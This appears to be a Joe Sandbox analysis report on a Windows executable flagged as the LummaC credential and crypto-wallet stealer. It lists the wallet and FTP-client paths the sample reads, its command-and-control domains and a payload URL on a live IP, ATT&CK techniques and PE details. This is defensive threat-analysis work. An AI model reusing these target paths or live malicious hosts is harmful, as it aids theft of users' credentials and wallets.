Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior

Source: Yara match	File source: 00000004.00000003.1461447157.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1461280809.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SoftWare(2).exe1.exe PID: 7352, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SoftWare(2).exe1.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: 4.2.SoftWare(2).exe1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SoftWare(2).exe1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2594571322.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SoftWare(2).exe1.exe	45%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://citydisco.bet:443/gdJIS	100%	Avira URL Cloud	malware
https://citydisco.bet/gdJISOCKTP	0%	Avira URL Cloud	safe
http://185.215.113.51:80/conhost.exe	0%	Avira URL Cloud	safe
https://citydisco.bet:443/gdJISY	0%	Avira URL Cloud	safe
https://citydisco.bet/	0%	Avira URL Cloud	safe
http://185.215.113.51/conhost.exeEM	0%	Avira URL Cloud	safe
https://citydisco.bet/gdJISgI19r	0%	Avira URL Cloud	safe
https://citydisco.bet/gdJISs	0%	Avira URL Cloud	safe
crosshairc.life/dAnjhw	100%	Avira URL Cloud	malware
http://185.215.113.51/conhost.exe)	0%	Avira URL Cloud	safe
https://citydisco.bet/k	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
citydisco.bet	188.114.97.3	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
mrodularmall.top/aNzS	false		high
bugildbett.top/bAuz	false		high
jowinjoinery.icu/bdWUa	false		high
legenassedk.top/bdpWO	false		high
citydisco.bet/gdJIS	false		high
htardwarehu.icu/Sbdsa	false		high
https://citydisco.bet/gdJIS	false		high
crosshairc.life/dAnjhw	true	Avira URL Cloud: malware	unknown
cjlaspcorne.icu/DbIps	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://citydisco.bet:443/gdJIS	SoftWare(2).exe1.exe, 00000004.00000003.1530102185.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1485231679.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.51/	SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.51/conhost.exe	SoftWare(2).exe1.exe, 00000004.00000002.2594773980.000000000093B000.00000004.00000010.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595372216.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://citydisco.bet/gdJISOCKTP	SoftWare(2).exe1.exe, 00000004.00000003.1387446253.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.51:80/conhost.exe	SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://citydisco.bet/	SoftWare(2).exe1.exe, 00000004.00000003.1484920771.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SoftWare(2).exe1.exe, 00000004.00000003.1433761674.000000000352E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://citydisco.bet/gdJISs	SoftWare(2).exe1.exe, 00000004.00000002.2595474756.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.51/conhost.exe)	SoftWare(2).exe1.exe, 00000004.00000002.2595474756.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citydisco.bet/gdJISgI19r	SoftWare(2).exe1.exe, 00000004.00000003.1410956632.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1387446253.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410987437.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410866234.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citydisco.bet:443/gdJISY	SoftWare(2).exe1.exe, 00000004.00000003.1530102185.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1485231679.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://185.215.113.51/conhost.exeEM	SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://citydisco.bet/k	SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	citydisco.bet	European Union		13335	CLOUDFLARENETUS	false
185.215.113.51	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637269
Start date and time:	2025-03-13 13:32:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SoftWare(2).exe1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 31 Number of non-executed functions: 155
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:33:31	API Interceptor	8x Sleep call for process: SoftWare(2).exe1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	http://sg-adh7.vv.885210.xyz/	Get hash	malicious	Unknown	Browse	sg-adh7.vv.885210.xyz/favicon.ico
	http://caixadirectasecdigital.com/	Get hash	malicious	HTMLPhisher	Browse	caixadirectasecdigital.com/favicon.ico
	PO NO 28950.exe	Get hash	malicious	FormBook	Browse	www.tether1.xyz/focp/
	RFQ- Italy.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.xploitation.net/sqjz/
	Enquiry Quote - 21834-01.exe	Get hash	malicious	FormBook	Browse	www.joeyvv.xyz/b80n/
	DcbI6OM1wO.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	ddrtot.shop/New/PWS/fre.php
	kVPzMgJglW.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/j4nd/
	tnZI8EzSx3.exe	Get hash	malicious	FormBook	Browse	www.braposaldesk.cyou/3it7/
	zzSk99EqY0.exe	Get hash	malicious	FormBook	Browse	www.braposaldesk.cyou/3it7/
	hh01FRs81x.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/?R4lxS2-P=Xi77pNpzRwduTXf13DwoRl9ks24bE/OoZO8jI9GlbI12YargANeHXOwJPk3kluRPu8INtGeEgdhJoy+Tym0P0ZbjUAApu4gNis/FV3kbZJq8JK1mGA==&LL=4FHLH
185.215.113.51	Kiddion's Modest Menu v.1.0.0.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51/xmrig.exe
	Inst#U0430ll.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51/xmrig.exe
	Setup.exe	Get hash	malicious	Xmrig	Browse	185.215.113.51/WinRing0x64.sys
	chromedriver.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.51/conhost.exe
	Setup.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig	Browse	185.215.113.51/xmrig.exe
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.51/conhost.exe
	Aura.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51/xmrig.exe
	file.exe	Get hash	malicious	Xmrig	Browse	185.215.113.51/xmrig.exe
	cjitigjfktti.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51/WinRing0x64.sys
	bffgjingfr.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51/WinRing0x64.sys

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
citydisco.bet	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	188.114.96.3
	SoftWare(1).exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Kiddion's Modest Menu v.1.0.0.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.96.3
	Launcher_v2.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	https://llttfr.boa.ink/?fr=gemma.inglis@heritageportfolio.co.uk	Get hash	malicious	Unknown	Browse	104.17.25.14
	2025 5595 TEKL#U0130F #U0130STE#U011e#U0130 - T#U00dcB#U0130TAK SAGE RFQ_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://qrsu.io/ONKMx	Get hash	malicious	Unknown	Browse	104.17.24.14
	PO_L202503042.html	Get hash	malicious	Unknown	Browse	104.18.186.31
	Dean Cartlidge_mthxvj.html	Get hash	malicious	HTMLPhisher	Browse	172.66.0.227
	Steam.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.3.235
	http://observalgerie.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.41.60
	https://trustwalletrate.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://scuddlecakevgzg.cfd/d7p96s	Get hash	malicious	Unknown	Browse	172.66.0.227
WHOLESALECONNECTIONSNL	Kiddion's Modest Menu v.1.0.0.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51
	file.exe	Get hash	malicious	Unknown	Browse	185.215.113.39
	Inst#U0430ll.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	185.215.113.51
	a0RkmvhSaf.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	Setup.exe	Get hash	malicious	Xmrig	Browse	185.215.113.51
	mQRr8Rkorf.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	random(1).exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.115
	random(4).exe	Get hash	malicious	Unknown	Browse	185.215.113.39
	d5Wai5fIAK.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.209
	pGOrhjLXy3.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	script5.ps1	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	PO #S149102025.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	ppcore.dll.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	ppcore.dll.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	DE-10192.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	xo.bat	Get hash	malicious	Unknown	Browse	188.114.97.3
	Document25.xlsm	Get hash	malicious	ScreenConnect Tool, AsyncRAT, StormKitty, VenomRAT	Browse	188.114.97.3
	Launcher.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	188.114.97.3
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.565802098668015
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SoftWare(2).exe1.exe
File size:	774'976 bytes
MD5:	3312164cbdf37c1dfb5d1b3f5d9c9863
SHA1:	e3e8ae938c16655b4058089b856b070434384fa6
SHA256:	d88aa5595bef3c5e49ab6a408d9a15114496936e1231aced7d55a4f2052d083d
SHA512:	056b65da52dc557047d9c50c8bf2b56dc5cd7389671ec9b1c08440ba3a632bcefbe47a4554b84871d9ae0d16233ebe2324e60d972fbfd01fa1b55abeae76975b
SSDEEP:	12288:sIJQ/s2kiatVPnIpbWiJ621POPAANU/EAROpMHq1xw86W40tqTIriQX+C1K8fTrD:9BnIpnJhdQAANeQ4O6W4NMaIlHJ
TLSH:	DBF4D046BC92D0B7EE1638B25929E7C50C6B2A244F2084F77EDC9E646FB36E14532317
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.............................w............@.......................................@.................................P...(..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4377d2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67D1BF1F [Wed Mar 12 17:06:39 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	033c5f85fb620246315503dc218ebc8c

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 21:24:20 02/12/2021 21:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	31F605F0D1D4BA54250DA5C719A8200C
Thumbprint SHA-1:	E8C15B4C98AD91E051EE5AF5F524A8729050B2A2
Thumbprint SHA-256:	22A3C23E08C7DBB4E7F4591E58C04285C0514C2894E3C418AD157D817D7EDF3C
Serial:	33000003DE8D56825AF1A4A9670000000003DE

Entrypoint Preview

Instruction
call 00007F233105D00Ah
jmp 00007F233105CE79h
mov ecx, dword ptr [0045F840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F233105D006h
test esi, ecx
jne 00007F233105D028h
call 00007F233105D031h
mov ecx, eax
cmp ecx, edi
jne 00007F233105D009h
mov ecx, BB40E64Fh
jmp 00007F233105D010h
test esi, ecx
jne 00007F233105D00Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0045F840h], ecx
not ecx
pop edi
mov dword ptr [0045F880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0045C860h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0045C820h]
xor dword ptr [ebp-04h], eax
call dword ptr [0045C81Ch]
